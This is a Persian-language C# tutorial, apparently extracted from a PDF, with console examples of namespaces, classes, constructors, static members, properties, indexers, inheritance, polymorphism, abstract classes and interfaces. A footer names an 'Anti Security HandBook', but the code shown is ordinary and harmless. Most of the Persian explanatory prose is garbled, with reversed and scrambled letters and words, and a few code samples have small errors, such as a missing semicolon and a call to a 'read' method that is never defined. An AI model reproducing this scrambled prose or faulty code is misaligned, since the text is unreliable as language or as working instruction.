 است یا دهیپسند عادت اهآن از استفاده . نندک یم یجلوگير نيز برنامه مختلف
  .نيمک استفاده اهبار و اهبار شده نوشته دک از میدار قصد هکنگاميه
 

دا  در آنرا نام و نيدک باز VS.NET در را console دیجد شارپ یس ی برنامه یک : مثال د ینما انتخاب ex24  ابت  را ری ز دک  سپس  . ي
  : سيدیبنو آن درون

 
// Namespace Declaration 
using System; 
namespace ex24 
{ 
namespace tutorial 
{ 
// Program start class 
class NamespaceCSS 
{ 
// Main begins program execution. 
public static void Main() 
{ 
// Write to console 
Console.WriteLine("This is the new Namespace."); 
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} 
} 
} 
} 

  
  

  : فوق دک مورد در یتوضيحات
 

الا  در تر یعموم یاهقسمت . باشد یم ی مراتب سلسله صورت به اهآن ی ئهارا ، نام یاهفضا یمعرف یبرا مناسب یاه روش از یکی  ب
و  در تو نام یاهفضا یمعرف به روش نیا . شوند یم داده قرار تر یداخل نام یاهاضف در تر یاختصاص یاه قسمت و  شود  یم  هی منت ت

(nested namespaces)و ردک  یسینو خلاصه توان یم (.) دات گر عمل زا استفاده با ریز صورت به را فوق دک ، .بالا مثال مانند ه 
  :ندارد یتفاوت قبل با نتيجه

 
// Namespace Declaration 
using System; 
namespace ex24.tutorial 
{ 
// Program start class 
class NamespaceCSS 
{ 
// Main begins program execution. 
public static void Main() 
{ 
// Write to console 
Console.WriteLine("This is the new Namespace."); 
} 
} 
} 

  
  : نام فضاهای اعضای فراخوانی ی طريقه

 
دا  در آنرا نام و نيدک باز VS.NET در را console دیجد شارپ یس ی برنامه یک : مثال د ینما انتخاب ex25  ابت  را ری ز دک  سپس  . ي
  : سيدیبنو آن درون

 
// Namespace Declaration 
using System; 
namespace ex25 
{ 
// nested namespace 
namespace tutorial 
{ 
class myExample1 
{ 
public static void myPrint1() 
{ 
Console.WriteLine("calling another namespace member1."); 
} 
} 
} 
// Program start class 
class NamespaceCalling 
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{ 
// Main begins program execution. 
public static void Main() 
{ 
// Write to console 
tutorial.myExample1.myPrint1(); 
tutorial.myExample2.myPrint2(); 
} 
} 
} 
// same namespace as nested namespace above 
namespace ex25.tutorial 
{ 
class myExample2 
{ 
public static void myPrint2() 
{ 
Console.WriteLine("calling another namespace member2."); 
} 
} 
} 

  
  : فوق دک مورد در یتوضيحات

 
تفاده  ی نحوه  . ردک  دههمشا توان یم را نام یاهفضا در شده فیتعر یاعضا از استفاده ی نحوه فوق دک در انطور ه اه آن از اس  در هک  م

  : است ریز صورت به شد گفته نيز قبل یاه قسمت
 

ProjectName.NameSpace.ClassName.MemberName 
  
رار  myExample 1  لاسک  tutorial نام یاضف در مثال یبرا د  آن داخل  و دارد ق  ی نحوه  پس  . است  شده  فی تعرmyPrint 1  مت

  : است ریز صورت به آن متد به یدسترس
 

tutorial.myExample1.myPrint1(); 
  
دا  چند ره ، دارند تعلق (ex25.tutorial) نام یفضا یک به دو ره myExample 2  و myExample 1 یاه لاسک  نوشته  مه  از ج

  .نوشت نيز یا جداگانه یاهلیفا در توان یم خودشان مراتب سلسله حفظ با را اهآن یحت . اند شده
 
  

   using :از استفاده
  
  

ام  و نيدک باز VS.NET در را console دیجد شارپ یس ی برنامه یک : مثال را  ن دا  آن د ینما انتخاب ex26  درابت  را ری ز دک  سپس  . ي
  : سيدیبنو آن درون

 
// Namespace Declaration 
using System; 
using ex26.tutorial; 
// Program start class 
class UsingDirective 
{ 
// Main begins program execution. 
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public static void Main() 
{ 
// Call namespace member 
myExample.myPrint(); 
} 
} 
// C# Namespace 
namespace ex26.tutorial 
{ 
class myExample 
{ 
public static void myPrint() 
{ 
Console.WriteLine("Example of using a using directive."); 
} 
} 
} 

  
  : فوق دک مورد در یتوضيحات

  
 اگر  مثال یبرا .ردک استفاده نظر موردnamespace  نام مراهه به using ی  مهلک از توان یم یسینو خلاصه یبرا ، بالا مثال ماننده
   : است ریز صورت به سيمیبنو املک يمهبخوا را WriteLine متد

  
System.Console.WriteLine(...); 

  
   .نيست آن یابتدا درSystem رکذ به ینياز گرید ، آن نام یفضا ردنک الحاق و ردنک قيد با اما
  
  : تهکن
 
  داد ارائه را یبيشتر یسینو خلاصه توان یم مه باز

 
using csTut = ex26.tutorial.myExample; // alias 

  
  : نيمک یفراخوان ریز صورت به آنرا در شده فیتعر لاسک متد است یافک اهتن صورت نیا در
 

csTut.myPrint(); 
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  : شارپ سی در ها کلاس
 
 یس  در یدک  ر ه.میبيانداز اه لاسک به تر دقيق هینگا يمهخوا یم قسمت نیا در اما . میا شده آشنا اه لاسک با ، اربردک حد در بحال تا

 طرف از شده فیتعر دیجد ی داده نوعیک  لاسک یک در موجود یاهمتد و خواص تمام يبکتر و باشد یم لاسک یک از یقسمت شارپ
را  .است فرد به منحصر یپک یک و شود یم ناميده شی ، شود ساخته لاسک از هک یمتغير ره . آورد یم دیپد را ما ال  یب ه  مث  ی برنام
  : دیبگير نظر در را ریز
 

using System; 
class Data 
{ 
public int x; 
} 
class App 
{ 
public static void Main() 
{ 
Data d1 = new Data(); 
d1.x = 1; 
Data d2 = new Data(); 
d2.x = 2; 
Console.WriteLine("d1.x = {0}", d1.x); 
Console.WriteLine("d2.x = {0}", d2.x); 
} 
} 

  
 هک نگاميه و شود  یم گفته فيلد لاسک در داده نوع نیا به .باشد یمx  نام به عضو یک یدارا و است شده فیتعر Data لاسک نجایا در
دار  و فی تعر لاسک  از متغير دو بالا دک در . است یدسترس قابل نيز لاسک از خارج یعنی شود یم یمعرفpublic صورت به  هی د مق

  : است ریز صورت به برنامه یخروج .اند شده اوليه
 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٩٣٨    صفحه

d1.x = 1 
d2.x = 2 

 یخروج دو ره هک داشت نمونه انتظار توان ینم نجایا در و است فرده ب منحصر لاسک از instance ره هک است آن یخروج نیا دليل
ر هب ، شوند یم فیتعر فيلد صورت به هک ییاهمتغير اوليه هید مقدار یبرا .شوند یکی دار  است  ت  لاسک  ی سازنده  در را اه آن هی د مق

(constructor) يمهد انجام.   
 

class Data 
{ 
public int x; 
public Data(){x = 99;} 
} 

  
رد  یم نام سازنده ، است لاسک نام مه هک یمتد ، شد رکذ نيز پيشتر هک مانطوره د  یم  لاسک  یک  . گي يش  توان  داشته  سازنده  یک  از ب

 : مثال یبرا .باشد
  

class Data 
{ 
public int x; 
private Data(){} 
public Data(int y){x = y;} 
public Data(int y, int z){x = y + z;} 
} 

  
 ینم یدسترس قابل گرید لاسک از خارج نیبنابرا تاس شده فیتعرprivate فوق دک در شده رکذ پارامتر بدون ی سازنده هک هکآنجائي از

 لاسک  نی ا از دی جد متغير دو فیتعر مثال یبرا. ندک استفاده گرید ی سازنده دو از تواند یم اهتن ، لاسک از خارج یدک نیبنابرا . باشد
  : باشد یم ریز صورت به
 

Data d1 = new Data(44); 
Data d2 = new Data(22, 33); 

  
د ک یفراخوان  نيزthis ی ليدک ی لمهک توسط لاسک یک در را اه سازنده تا دهد یم اجازه شما به شارپ یس ا  یعن ی ني ام  رک ذ یبج د  ن  مت

  .کلاس  خود ر دشود استفادهthis ی لمهک از سازنده
  

د ک ی لمهک دیبگذار کاشترا به لاسک یک مختلف یاه  (instance)نمونه بين را یمتغير يدهخوا یم اگر  یم  صحنه  وارد  static یلي
  : نيدک توجه ریز مثال به .شود

 
using System; 
class Counted 
{ 
public static int count = 0; 
public Counted() 
{ 
count++; 
} 
public int GetInstanceCount() 
{ 
return count; 
} 
} 
class App 
{ 
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public static void Main() 
{ 
Counted d1 = new Counted(); 
Console.WriteLine("current total {0}", d1.GetInstanceCount()); 
Counted d2 = new Counted(); 
Console.WriteLine("current total {0}", d2.GetInstanceCount()); 
Console.WriteLine("total {0}", Counted.count); 
} 
} 

  
ه  لاسک درون فقط و نيستند یدستياب قابل لاسک یاه نمونه توسط کاستاتي یاهمتغير هک ردک نشان خاطر دیبا وان  یم  ری ز لکش  ب  از ت
  : ردک استفاده اهنآ

 
<classname>.<staticmembername> 

  
  اجرا سازنده خودبخود ، لاسک یفراخوان بار ره با . است شده فیتعرCounted  لاسک از نمونه دو فوق مثال در
ر  نی ا به بتوان هکنیا یبرا شد، رکذ هک مانطوره . شود یم اضافه کاستاتي گر شمارش نیا به عدد یک و شده تاتي  متغي  خارج  در کاس
  .است شده فیتعر کاستاتي غير متد یک ردک پيدا یدسترس دک از
 
ه  حالت  نی  ا در هک است مرسوم گرا شی یسینو برنامه در . گرداند یم بر را عدد یک اهتنGetInstanceCount  تابع فوق مثال در  ب
وق  فی تعر صورت  نی ا در .شد داده توضيح قبل یاه قسمت در اهآن مورد در یافک ی اندازه به هک شود استفاده خواص از عتواب یجا  ف
  : دیآ یم در ریز صورت به
 

class Counted 
{ 
public static int x = 0; 
public Counted() 
{ 
x++; 
} 
public int InstanceCount // property 
{ 
get{return x;} 
} 
} 

  
 یم  صورت اهآن نام از بعد اهپرانتز رکذ بدون ، خواص یفراخوان) شود یم اصلاح ریز صورت به دک یبعد قسمت صورت نیا در و

  :گيرد 
 

Counted d1 = new Counted(); 
Console.WriteLine("current total {0}", d1.InstanceCount); 
Counted d2 = new Counted(); 
Console.WriteLine("current total {0}", d2.InstanceCount); 

  
  : شود یم فیتعر ریز صورت به باشد ینوشتن مه و یخواندن مه خاصيت یک اگر

 
private string name; 
public string Name 
{ 
get{return name;} 
set{name = value;} 
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} 
  

د  وان  یم  را کپابلي  یاهفيل د  ت ر  ای  و خوان ا  باشد  لازم اگر  . داد تغيي د  اربرک  ت ر  را اه آن نتوان وان  یم  ده د تغيي ه ک از ت د ک ی لم  ی لي
readonlyمثال .ردک استفاده اهآن فیتعر از قبل :   

 
class Data 
{ 
public readonly int x = 42; 
} 

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

  (Indexers)ها ايندکسر
 
  
  : نيدک توجه ریز مثال به .ردک رفتار اه هیآرا ماننده لاسک یک با توان یم اه سرکندیا از استفاده با
 

using System; 
/// <summary> 
/// A simple indexer example. 
/// </summary> 
class IntIndexer 
{ 
private string[] myData; 
public IntIndexer(int size) 
{ 
myData = new string[size]; 
for (int i=0; i < size; i++) 
{ 
myData[i] = "empty"; 
} 
} 
public string this[int pos] 
{ 
get 
{ 
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return myData[pos]; 
} 
set 
{ 
myData[pos] = value; 
} 
} 
static void Main(string[] args) 
{ 
int size = 10; 
IntIndexer myInd = new IntIndexer(size); 
myInd[9] = "Some Value"; 
myInd[3] = "Another Value"; 
myInd[5] = "Any Value"; 
Console.WriteLine("\nIndexer Output\n"); 
for (int i=0; i < size; i++) 
{ 
Console.WriteLine("myInd[{0}]: {1}", i, myInd[i]); 
} 
} 
} 

  
  

ه  لاسک  . ردک  دههمشا توان یم را اه سرکندیا از استفاده و فیتعر ی نحوه فوق مثال در IntIndexer یا هیآرا یحاو ام  ب  myData  ن
د  لاسک ی سازنده در هیآرا نیا . نيست یدسترس قابل لاسک از خارج در آن بودنprivate  دليله ب . اشدب یم ا  IntIndexer مت ه ک ب  لم

دار  empty ی  ه  هی د مق د  عضو  . است  شده  اولي ا  و باشد  یم  Indexer لاسک  یبع ه ک ب د ک ی لم  شده  مشخص  اه تکبرا و this یلي
  (this[int pos]).ست

 
 .باشد یم خواص فیتعر به شبيه اه سرکندیا فیتعر ی نحوه يدیفرما یم حظهملا هک مانطوره
  

<modifier> <return type> this [argument list] 
{ 
get 
{ 
// Get codes goes here 
} 
set 
{ 
// Set codes goes here 
} 
} 

  
  : است ریز صورت به فوق مثال یخروج

 
myInd[0]: empty 
myInd[1]: empty 
myInd[2]: empty 
myInd[3]: Another Value 
myInd[4]: empty 
myInd[5]: Any Value 
myInd[6]: empty 
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myInd[7]: empty 
myInd[8]: empty 
myInd[9]: Some Value 

  
ه  یدسترس یبرا متداول است یروش صحيح اعداد از استفاده سيار  در اه  هی آرا یاعضا  ب ا  اه زبان از یب  شارپ  یس  در اه  سرک ندیا ام
ا ) مختلف ینوع با پارامتر ره و ردک فیتعر یمتعدد یاهپارامتر با توان یم را اه سرکندیا . رود یم نیا از رفرات د ه دقيق ارامتر  مانن  پ
وع  مورد در دارد وجود نجایا هک یتیمحدود البته .(اه متد یورود یاه ارامتر  ن د  یم  اه تن هک  است  اه  پ  integers, enums, and توان

strings قابليت وهبعلا . باشد  Overloadingه  مه  وشمند ه یاه  هیآرا اهآن به تهج مينه به .دارد وجود نيز اه سرکندیا  . شود  یم  گفت
  : (smart arrays) مثال

  
using System; 
/// <summary> 
/// Implements overloaded indexers. 
/// </summary> 
class OvrIndexer 
{ 
private string[] myData; 
private int arrSize; 
public OvrIndexer(int size) 
{ 
arrSize = size; 
myData = new string[size]; 
for (int i=0; i < size; i++) 
{ 
myData[i] = "empty"; 
} 
} 
public string this[int pos] 
{ 
get 
{ 
return myData[pos]; 
} 
set 
{ 
myData[pos] = value; 
} 
} 
public string this[string data] 
{ 
get 
{ 
int count = 0; 
for (int i=0; i < arrSize; i++) 
{ 
if (myData[i] == data) 
{ 
count++; 
} 
} 
return count.ToString(); 
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} 
set 
{ 
for (int i=0; i < arrSize; i++) 
{ 
if (myData[i] == data) 
{ 
myData[i] = value; 
} 
} 
} 
} 
static void Main(string[] args) 
{ 
int size = 10; 
OvrIndexer myInd = new OvrIndexer(size); 
myInd[9] = "Some Value"; 
myInd[3] = "Another Value"; 
myInd[5] = "Any Value"; 
myInd["empty"] = "no value"; 
Console.WriteLine("\nIndexer Output\n"); 
for (int i=0; i < size; i++) 
{ 
Console.WriteLine("myInd[{0}]: {1}", i, myInd[i]); 
} 
Console.WriteLine("\nNumber of \"no value\" entries: {0}", myInd["no value"]); 
} 
} 

  
وع  از دوم سرکندیا در و است شده فیتعر صحيح اعداد نوع از پارامتر یک با سرکندیا اولين فوق مثال در ه  یخروج  .رشته  ن  ی برنام
  : است ریز صورت به فوق

 
myInd[0]: no value 
myInd[1]: no value 
myInd[2]: no value 
myInd[3]: Another Value 
myInd[4]: no value 
myInd[5]: Any Value 
myInd[6]: no value 
myInd[7]: no value 
myInd[8]: no value 
myInd[9]: Some Value 
Number of "no value" entries: 7 

  
  : تهکن
 

 . باشد فرده ب منحصر دیبا لاسک یک در اه سرکندیای اهپارامتر يستی لمضاا •
  

 .نيست مجاز کاستاتي صورت به سرکندیا یک فیعرت •
  
  : ردک عمل ریز صورت به توان یم متعدد یورود یاه متراپار با ییاه سرکندیا به نياز صورت در
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public object this[int param1, ..., int paramN] 
{ 
get 
{ 
// process and return some class data 
} 
set 
{ 
// process and assign some class data 
} 
} 

  
  : گرید مثال یک

 
using System; 
class IndexExample 
{ 
string Message; 
public static void Main() 
{ 
IndexExample obj=new IndexExample("Welcome"); 
/* This will access the String variable Message 
using array like notation 
*/ 
for(int i=0;i < obj.Length;i++) 
{ 
Console.WriteLine(obj[i]); 
} 
obj[obj.Length-1]="e to C#"; 
Console.WriteLine(obj.Message); 
} 
public IndexExample(string s) 
{ 
Message=s; 
} 
public string this[int i] 
{ 
get 
{ 
if(i >= 0 && i < Message.Length) 
{ 
return Message.Substring(i,1); 
} 
else 
{ 
return ""; 
} 
} 
set 
{ 
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if(i >= 0 && i < Message.Length) 
{ 
Message=Message.Substring(0,i) + value + Message.Substring(i+1); 
} 
} 
} 
public int Length 
{ 
get 
{ 
if(Message!=null) 
{ 
return Message.Length; 
} 
else 
return 0; 
} 
} 
} 
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   (Inheritance) :بری ارث
 

 یم ميسر مؤثر ینحو به موجود دک از مجدد استفاده آن از استفاده با . باشد یم گرا شی یسینو برنامه ی اوليه يمهمفا از یکی یبر ارث
  : نيدک دقت ریز دک به . آورد یم دیپد یسینو برنامه زمان در را هیتوج قابل ییجو صرفه و گردد

  
using System; 
public class ParentClass 
{ 
public ParentClass() 
{ 
Console.WriteLine("Parent Constructor."); 
} 
public void print() 
{ 
Console.WriteLine("I'm a Parent Class."); 
} 
} 
public class ChildClass : ParentClass 
{ 
public ChildClass() 
{ 
Console.WriteLine("Child Constructor."); 
} 
public static void Main() 
{ 
ChildClass child = new ChildClass(); 
child.print(); 
} 
} 
Output: 
Parent Constructor. 
Child Constructor. 
I'm a Parent Class. 

  
ام  هک  یارک . باشد یمChildClass ی اصل لاسو ک  ParentClass ییبالا لاسک . ندک یم استفاده لاسک دو از فوق دک  است  شده  انج

را  . باشد  یم(!) ChildClass بچه لاسک در ParentClass والد لاسک یاه دک از استفاده وان  را ParentClass هک نیا یب  لاسک  بعن
   : شد عمل ریز صورت به نيمک یمعرف ChildClass یبرا هیپا
  

public class ChildClass : ParentClass 
  
 
 یم یپشتيبان گانهی یبر ارث اهتن شارپ یس در . شود یم فیتعر شده مشتق لاسک از پس ، ":" ولونک یمعرف از استفاده با هیپا لاسک

ر  ارث یبرا را هیپا لاسک یک اهتن نیبنابرا .شود وان  یم  یب ا  .ردک  فی تعر ت ا  دقيق  رادا را ParentClass ChildClass یاه  ییتوان
را  .است ParentClassمانه ChildClass  گفت توان یم نیبنابرا .است ال  یب وق  دک  در مث د  یدارا ChildClass  ف  ینم  print  مت
   .است دهیگرد استفاده آن از برنامهMain متد در و است برده ارث به ParentClass لاسک از آنرا اما باشد

 
ام ه دا  (derived) شده  مشتق  لاسک  از شی  یک  ساختن  نگ ه  یک  ابت د  لاسک  از نمون ورد  نی ا .شود  ، یم  ساخته  بخود  خود  وال  در م

شا  قابل اند شده چاپ صفحه یرو اه سازنده یاهمتد هک ینگامه فوق دک یخروج ادل  .است  دههم ين  اطلاعات  تب د  لاسک  ب  لاسک  و وال
  : نيدک دقت ریز مثال به. فرزند 

 
using System; 
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public class Parent 
{ 
string parentString; 
public Parent() 
{ 
Console.WriteLine("Parent Constructor."); 
} 
public Parent(string myString) 
{ 
parentString = myString; 
Console.WriteLine(parentString); 
} 
public void print() 
{ 
Console.WriteLine("I'm a Parent Class."); 
} 
} 
public class Child : Parent 
{ 
public Child() : base("From Derived") 
{ 
Console.WriteLine("Child Constructor."); 
} 
public void print() 
{ 
base.print(); 
Console.WriteLine("I'm a Child Class."); 
} 
public static void Main() 
{ 
Child child = new Child(); 
child.print(); 
((Parent)child).print(); 
} 
} 
Output: 
From Derived 
Child Constructor. 
I'm a Parent Class. 
I'm a Child Class. 
I'm a Parent Class. 

  
وق  مثال در هک مانطوره . ندک اطلاعات تبادل تواند یم instantiation نگامه در والد لاسک با فرزند لاسک ارز  ف د  لاسک  ب ابع  فرزن  ت

  .است موضوع نیا بيانگر یخروج خطی ليدک ی لمهک از استفاده با است base ، اولين . است ردهک یفراخوان را والد لاسک ی سازنده
 
ابع  يمهخوا  یم  ما اوقات از هیگا د  لاسک  در هک  را یت د  لاسک  در را است  شده  فی تعر وال ا  فرزن ه  مخصوص  و یگر ید فی تعر ب  ب

ان  ه  خودم ابع  نصورت یا در . يمه د ارائ د  لاسک  در شده  فی تعر ت ابع  ، فرزن ام  مه  ت د  ن ابع  آن گر ید و رد ک ده خوا یمخف  را وال د  ت  وال
 در هک  باشد یمbase از استفاده آن و دارد وجود والد یاصل تابع به یدسترس یبرا راه یک اهتن حالت نیا در . دیگرد دهنخوا یفراخوان

د  لاسکprotected  ای و public یاعضا تمام به توان یم base از استفاده با است شده یساز پياده فوق دک د  لاسک  درون از وال  فرزن
  .داشتدسترسی 
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   : است شده یساز پيادهMain متد در فوق دک خط نیآخر در دارد وجود منظور نیا یبرا هک یگرید راه
 

((Parent)child).print(); 
  

را  د  یب وع  لیتب وان  یم  شارپ  یس  در مختلف  یاه  ن ز  از ت وع  رک ذ پس  س و پرانت تفاده  یاصل  ن ه  ردک  اس  ای  و casting عمل  نی ا ب
boxing درحقيقت فوق دک در . ندیگو یم مه child از ینوع به  parentابرا  . است  شده  لیتبد د  نیبن ه  یک  هک  است  نی ا مانن  از نمون

   .ندک یم یفراخوان را لاسک مانهprint  متد والد لاسک
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   (Polymorphism)سممرفي پلی
 
 

رم  از ردنک استفاده ییتوانای معنا به مرفيسم یپل . باشد یم) ی ختیر چند ( مرفيسم یپل ییگرا شی ی اوليه يمهمفا از گرید یکی  یاه  ف
تاده  شما  یتلفن  سيگنال  هکنگاميه مثال یبرا . آن جزئيات به توجه بدون است نوع یک مختلف وع  از ، شود  یم  فرس  رد هک  ین  تلف  ن

ات کام نیآخر با یتلفن ای و باشد عتيق دهع یاه تلفن از یکی دهخوا یم ، خط یاهانت تلفن .نداردی خبر است موجود خط یاهانت  . روز ان
د ک یم  فرض  و دارد خبر phone نام به یا هیپا نوع از اهتن (!) مخابرات تکشر وع  نی ا ازinstance ره  هک  ن د  یم  ن ه  هک  دان  چگون
تفاده  مرف  یپل صورت به شما تلفن از مخابرات تکشر نیبنابرا . آورد در صدا به را شما تلفن زنگ یصدا د ک یم  اس  یپل  عمل  در .ن

ه  را اشيا از هیگرو يمهبخوا هک بود دهخوا مفيد ینگامه مرفيسم سبت  هی آرا یک  ب د  سپس  و يمه د ن يم ک یفراخوان  را یک  ره  یاهمت  .ن
  .بود ندهنخوا نوع یک از اشيا نیا الزاما

 
 : مرفيک پلی ایهمتد ايجاد ی هنحو

  
   .نيمک فیتعر هیپا لاسک درvirtual  نوع از آنرا است یافک اهتن ، دینما یپشتيبان را مرفيسم یپل تا است نياز هک یمتد جادیا یبرا
  

  : مثال
  

  به آن ر د مرفيسم یپل قابليت جادیا یبرا .است شده فیتعرWindow لاسک در DrawWindow تابع نيدک فرض
  : شود یم عمل ریز ورتص
 

public virtual void DrawWindow( ) 
ه  DrawWindow از را خودش  خاص  نگارش  است  مجاز  ، شود مشتق Window از هک یلاسک ره حالت نیا در د ک ارائ  نی ا در .ن

ه ک هک  است یافک اهتن ، برد یم ارث ما ی هیپا لاسک از هک یلاسک در صورت د ک ی لم ل  را override یلي ام  از قب ابع  ن ذ  ت  رک ذ ورکم
  : املک مثال  یک.يمینما
 

using System; 
public class DrawingObject 
{ 
public virtual void Draw() 
{ 
Console.WriteLine("I'm just a generic drawing object."); 
} 
} 
public class Line : DrawingObject 
{ 
public override void Draw() 
{ 
Console.WriteLine("I'm a Line."); 
} 
} 
public class Circle : DrawingObject 
{ 
public override void Draw() 
{ 
Console.WriteLine("I'm a Circle."); 
} 
} 
public class Square : DrawingObject 
{ 
public override void Draw() 
{ 
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Console.WriteLine("I'm a Square."); 
} 
} 
public class DrawDemo 
{ 
public static int Main(string[] args) 
{ 
DrawingObject[] dObj = new DrawingObject[4]; 
dObj[0] = new Line(); 
dObj[1] = new Circle(); 
dObj[2] = new Square(); 
dObj[3] = new DrawingObject(); 
foreach (DrawingObject drawObj in dObj) 
{ 
drawObj.Draw(); 
} 
return 0; 
} 
} 

  
DrawingObject رد  یم ارث به آن از هک ما دک تمام یبرا هیپا ی لاسک د  . باشد  یم  ، ب ا  آن درDraw لاسک  ، مت ه ک ب د ک ی لم  ی لي

virtualد  نی ا توانند یم والد لاسک نیا فرزند یاه لاسک تمام یعنی . است شده یمعرف د ک override را مت  تحت  ای  و ردنک  فی تحر نن
د  یم  ارث مبنا لاسک از اهآن یتمام هک اند شده فیتعر لاسک سه ادامه در است شده ترجمه مه دادن رقرا الشعاع ابع  و برن  را Draw  ت
  .اند ردهک فیتحر

  
ا  را مبنا لاسک یمجاز تابع توان یمoverride یليدک ی لمهک از استفاده با ان  در دی جد یف یتعر ب ه  یاجرا  زم ه  برنام  فی تحر . داد ارائ

ه  Main متد در و .باشد شده واقع جاع ار مورد مبنا لاسک فرنسیر توسط ، لاسک هک دهد یم رخ یزمان اهتن شدن  لاسک  نی ا از برنام
ا  است شده اوليه هید مقدار و فیتعر DrawingObject ، نوع از یا هیآراMain متد در . است دهیگرد استفاده عمل در اه د  ت  ۴ بتوان

  ذخيره شخود در را لاسک نیا نوع از شی
دار  Square و  Line، Circle ی اه  لاسک از ییاه نوع با را dObj ی هیآرا توان یم موجود یبر ارث ی رابطه بدليل .ندک  هی د مق
 .شد  یم  فی تعر هی آرا یک  لاسک  ره  یازا به ستیبا یم داشت ینم وجود نجایا در یبر ارث اگر Main متد یبعد یاهدک مانند هردک

د  شی  ره نجایا در . است دهیگرد استفاده هیآرا نیا یاعضا بين در تکحر یبرا foreach  یبایز ی حلقه از سپس  را خودش  خاص  مت
 : بود دهخوا ریز صورت به ییاهن یخروج .داد دهخوا شینما صفحه یرو را نتيجه و ندک یم یفراخوان Draw  مورد در
 

Output: 
I'm a Line. 
I'm a Circle. 
I'm a Square. 
I'm just a generic drawing object. 
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  abstract های کلاس
 
  
وان  ینم  اه  لاسک نوع نیا از . ردک فیتعر abstract صورت به توان یم مچنينه را اه لاسک ی اinstance  ت اد یا  را ی ود  ج  در . نم
 یبرا .شد ندهخوا داده توسعه فرزندی اه سلاک در ندهیآ در و دهیگرد عنوان یی اه خواص و اه متد فیتعر صرفا ، هیپا یاه لاسک نیا

  : مثال
 

public abstract class Named 
{ 
public abstract String Name {get; set;} // property 
public abstract void PrintName(); // method 
} 
public class B : Named 
{ 
private String name = "empty"; 
public override String Name 
{ 
get{return name;} 
set{name=value;} 
} 
public override void PrintName() 
{ 
Console.WriteLine("Name is {0}", name); 
} 
} 

  
ا  خود  در توانند یم را خواص و توابع فیتعر صرفا اه interface اگر هک است نیا دیبيا پيش دیشا هک یسوال د هد یج  یدليل  چه  پس  ن
 نترفيسیا . برشمرد اه نترفيسیا یبرا توان یم را یادیز یاهاربرد کدارد؟ وجود یسینو دک ارک ردنک یطولان و اهآن بردن ارکب یبرا
ی ا برنامه ی توسعه حال در نيدک فرض . ندک یم فیتعر را رفتار یک ر  هک  ستيده  ی ا  دی با مختلف  امپيوترک  دو یرو ب اط  در مه  ب  ارتب

 یکی . دینما یم استفادهCCommObj communication object نام به یماژول از برنامه ره و باشند داشته نشک مهبر و بوده مستقيم
د  از ه  و ردهک  افت یدر را یا رشته  هک  باشد  یم  ()SendData شی  نی ا یاهمت ه  ب تد  یم  گر ید ی برنام وع  از یفراخوان  نی ا فرس  ن

asynchronous ی برنامه چگونه اما . بماند یباق منتظر ميشهه یبرا امهبرن ، داد رخ هکشب در ییخطا رگا يمهخوا ینم ما رایز است 
Aب  در ییخطا ایآ ای و خير ای است رسيده مقصد به پيغام هک دهد تشخيص تواند یم است ردهک یفراخوان را شده رکذ تابع ه ک انع  هکش  م

  ؟ خير ای است گشته پيغام رسيدن
  

 نیا در . خير باشد داده رخ ییخطا اگر و شد دهخوا سبب را یخدادر ، پيغام افتیدر نگامهCCommObj هک است صورت نیبد جواب
از  حالت  ه  ني اژول  یک  ب ز  logging م ردد  یم  احساس  ني ا  گ د  نما ثبت  را داده رخ یاه خطا ت ام  روش یک . ی  هک  است  نی ا آن انج

CCommObjدیبا روز ره نيمک اضافه برنامه هب را یگرید ماژول واستيم خ نيز فردا اگر و گرفته دههبع نيز را انکام نیا یساز پياده 
CCommObjز  آن روش .ردک  مدل نترفيسیا یک در توان یم یسادگ به را اهارک نیا تمام .يمهد تغيير را ه  در ني ان  ادام ردد  یم  بي  :گ

  :ندک "منتشر" را نکمم اناتکام تمام ليست تا نيمک یم جادیا نترفيسیا یک ابتدا در
 

interface ICommObjEvents 
{ 
void OnDataSent(); 
void OnError(); 
} 

 یک در اهمتد تمام .دینما یم استفاده اه نتیلاک یساز خبر با یبرا شد ندهخوا داده توسعه بعدا هک توابع نیا از ماCCommObj ء یش
 گوشزد را ریز یخطا لریاامپک يدهد انجام را ارکنیاگرا و باشد ینم مطلب نیا حیصر رکذ به ینياز نیبنابرا ستنده کپابلي ذاتا نترفيسیا

  : ردک دهخوا
 

The modifier 'public' is not valid for this item 
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   : ردک يمهخوا یساز پياده راCClientApp_A نتیلاک ادامه در
  

class CClientApp_A:ICommObjEvents 
{ 
public void OnDataSent() 
{ 
Console.WriteLine("OnDataSent"); 
} 
public void OnError() 
{ 
Console.WriteLine("OnError"); 
} 
private CCommObj m_Server; 
public void Init(CCommObj theSource) 
{ 
m_Server = theSource; 
theSource.Advise (this); 
string strAdd = ("N450:1"); 
m_Server.read (strAdd,10); 
} 
} 

  
رده  ارثICommObjEvents از CClientApp_A لاسک  فوق دک در ام  و ب د  تم رفيس یا نی ا یاهمت اده  را نت وده  یساز  پي  . است  نم
ه  لازم . ردک  ده خوا افتیدر را پيغام نتیلاک نیا ندک یم یفراخوان راOnDataSent  تابع CCommObj هک ینگامه  هک  است  رک ذ ب
ا  نت یلاک لاسک  رفيس یا یک  از چون  م ر  ارث نت ام  دی با پس  دی نما یم  یب ع  تم اده  را هی پا سلاک  خواص  و تواب د ک یساز  پي ر  در ن  غي
ع  از دامک رهCCommObj  شیهک ینگامه اما شد دهخوا لیامپاک برنامه چند ره نصورتیا ا  ، دک  یفراخوان  را لاسک  نی ا تواب  یخط

   .داد دهخوا رخ اجرا زمان
  
ين ه . دی نما یم  ذخيره راآنprivate  متغير یک در و نموده افتیدر CCommObj Init  متد نوع از ا ر یآرگومان فوق لاسک  در مچن
   .است گشته یفراخوان نيزCCommObj  لاسک از Advise متد ، متد نیا

 
public class CCommObj 
{ 
private int m_nIndex; 
public ICommObjEvents [] m_arSinkColl; 
public CCommObj() 
{ 
m_arSinkColl = new ICommObjEvents[10]; 
m_nIndex = 0; 
} 
public int Advise(ICommObjEvents theSink) 
{ 
m_arSinkColl[m_nIndex] = theSink; 
int lCookie = m_nIndex; 
m_nIndex++; 
return lCookie 
} 
public void SendData(string strData) 
{ 
foreach ( ICommObjEvents theSink in m_arSinkColl) 
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if(theSink != null ) 
theSink.OnDataSent (); 
} 
} 

  
  
  
  
 .دارد وجود m_arSinkColl نام بهICommObjEvents  نوع از Private ی ا هیآرا ، میشد آشنا آن با هک CCommObj لاسک در
